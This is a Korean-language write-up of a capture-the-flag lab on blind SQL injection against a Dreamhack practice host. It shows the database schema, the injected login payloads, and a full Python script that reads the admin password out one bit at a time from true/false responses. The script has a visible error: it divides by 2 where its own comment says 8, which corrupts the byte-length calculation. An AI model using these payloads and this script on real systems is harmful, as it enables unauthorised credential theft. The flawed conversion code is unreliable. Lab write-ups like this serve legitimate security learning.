이번 문제에서 알아야하는 비밀번호는 아스키코드와 한글로 되어있다고 한다.
이 말은 즉슨 일반적인 특수문자부터, 영문자, 숫자를 구했던 아스키 코드와는 다르게 풀어야 한다는 것이다.
그리고 아래 sql문을 보니 Character set이 utf8로 되어있다.
더 공부해보니
utf8에서 한글은 조합형으로 3바이트 영문자는 1바이트를 사용한다고 한다.
그럼 대충 비트 수는 1~24정도 될 것으로 예상할 수 있다.
CREATE DATABASE user_db CHARACTER SET utf8;
GRANT ALL PRIVILEGES ON user_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';
USE `user_db`;
CREATE TABLE users (
idx int auto_increment primary key,
uid varchar(128) not null,
upw varchar(128) not null
);
INSERT INTO users (uid, upw) values ('admin', 'DH{**FLAG**}');
INSERT INTO users (uid, upw) values ('guest', 'guest');
INSERT INTO users (uid, upw) values ('test', 'test');
FLUSH PRIVILEGES;
한글까지 알아내냐 하기 때문에 일반적인 아스키 코드로는 구하기 매우 번거로울 것 같다.
그래서 한글이 3바이트라는 것을 이용하여 비트연산으로 블라인드 인젝션을 수행할 것이다.
먼저 웹페이지에서 직접 sql injection을 해보면서 그 틀을 잡아보자.
친절하게 인젝션된 sql문을 출력해준다.
아래에서는 admin이라고 입력했기에 참이 되고 존재한다는 문구가 뜬다.
그리고 아래처럼 GET방식이라는 것을 알았다.
그리고 아래에는 ' and 1=1 -- 이라고 삽입해보았다.
전자가 참이고 후자가 참이어야 sql문이 성립이 되어서 존재한다는 문구가 출력될 것이지만
전자가 ''으로 거짓이기 때문에 아무것도 뜨지 않았다.
그래서 둘 중 하나만 참이면 되는 or 연산으로 해주었다.
그러나 역시 뜨지 않았다.
이유를 그 밑에 코드에서 보자
이유는 아래처럼 템플릿에서 row가 1개인 것만을 구별하고 있었다.
{% if nrows == 1%}
<pre style="font-size:150%">user "{{uid}}" exists.</pre>
{% endif %}
그렇기 때문에 아래와 같이 limit으로 row를 1개로 정해줬다.
그랬더니 exists라는 문자열이 떴는데
이 문자열로 참 거짓을 구별하면 되겠다.
내가 직접 코드를 짜고 싶어서 풀이는 훑어보기만 하고 직접 코드를 짜보았다.
먼저 아래에서 password의 길이를 알아보는 코드를 짜보았다.
반복을 돌 때마다 길이에 +1ㅇㄹ 해주고 그 길이를 넣은 쿼리가 실행되고 exists라는 문자열이 존재하면 break를 해주었다.
쿼리에서 length가 아닌 char_length를 사용한 것은 char_length는 문자 구분없이 문자 하나당 하나로 체크해주기 때문이다.
그렇게 터미널을 보면 password길이를 구한 것을 볼 수 있다.
아래에서는 각 문자의 bit의 길이를 구해보았다.
구하는 이유는 한글의 bit와 특수문자의 bit열의 길이는 다르기 때문이다.
위처럼 substr로 문자를 각각 지정해주었고 ord로 아스키코드 형태로 바꾸어 주었다.
그리고 bin으로 비트로 바꾸고 length로 bit의 길이를 알아보았다.
역시 exists를 기준으로 구했다.
아래에서는 이제 bit열을 구해보았다.
위처럼 length대신에 substr로 한번 더 감싸고 bit의 길이만큼 bit하나 하나를 검사했다.
1과 같다면 bits에 1을 넣고 아니라면 0을 넣는 형식으로 만들었다.
마지막으로 이제 각 비트를 Big Endian방식으로 바이트로 바꾸고 utf-8로 그 바이트를 디코딩하여 password를 구해냈다.
위 주석의 내용은 아래와 같다.
to.bytes(비트(int로 문자열에서 정수로 바꾸고 2진수로 변환, bit는 최소 1이므로 +7을 한 후 8로 나눈 몫으로 바이트의 길이를 정한다.,)
마지막 Big Endian 방식으로 최종적으로 utf-8로 decode한다.
#!/usr/bin/python3.9
import requests
import sys
from urllib.parse import urljoin
from urllib import parse
url = "http://host1.dreamhack.games:18896/"
password_length = 0
password=""
while(True):
password_length += 1
param = {
'uid':f"admin' and char_length(upw)={password_length} -- "
}
res = requests.get(url,params=param)
if('exists' in res.text):
break
print(f"passwordLength = {password_length}")
for i in range(1,password_length+1):
bits_length=0
while(True):
bits_length += 1
param={
'uid':f"admin' and length(bin(ord(substr(upw,{i},1)))) = {bits_length} -- "
}
if 'exists' in requests.get(url,params=param).text:
break
print(f"{i}번째 문자 비트 길이 : {bits_length}")
bits=""
for j in range(1,bits_length+1):
param={
'uid':f"admin' and substr(bin(ord(substr(upw,{i},1))),{j},1) = '1' -- "
}
if 'exists' in requests.get(url,params=param).text:
bits+='1'
else:
bits+='0'
print(f"{i}번째 문자의 비트열 : {bits}")
password += int.to_bytes(int(bits,2), (bits_length+7)//2, "big").decode("utf-8")#to.bytes(비트(int로 문자열에서 정수로 바꾸고 2진수로 변환
#),bit는 최소 1이므로 +7을 한 후 8로 나눈
#몫으로 바이트의 길이를 정한다.,)
#마지막 Big Endian 형태의 문자로 변환하고 최종적으로
#utf-8로 decode한다.
print(f"현재 패스워드 : {password}")
print(f"최종 패스워드 = {password}")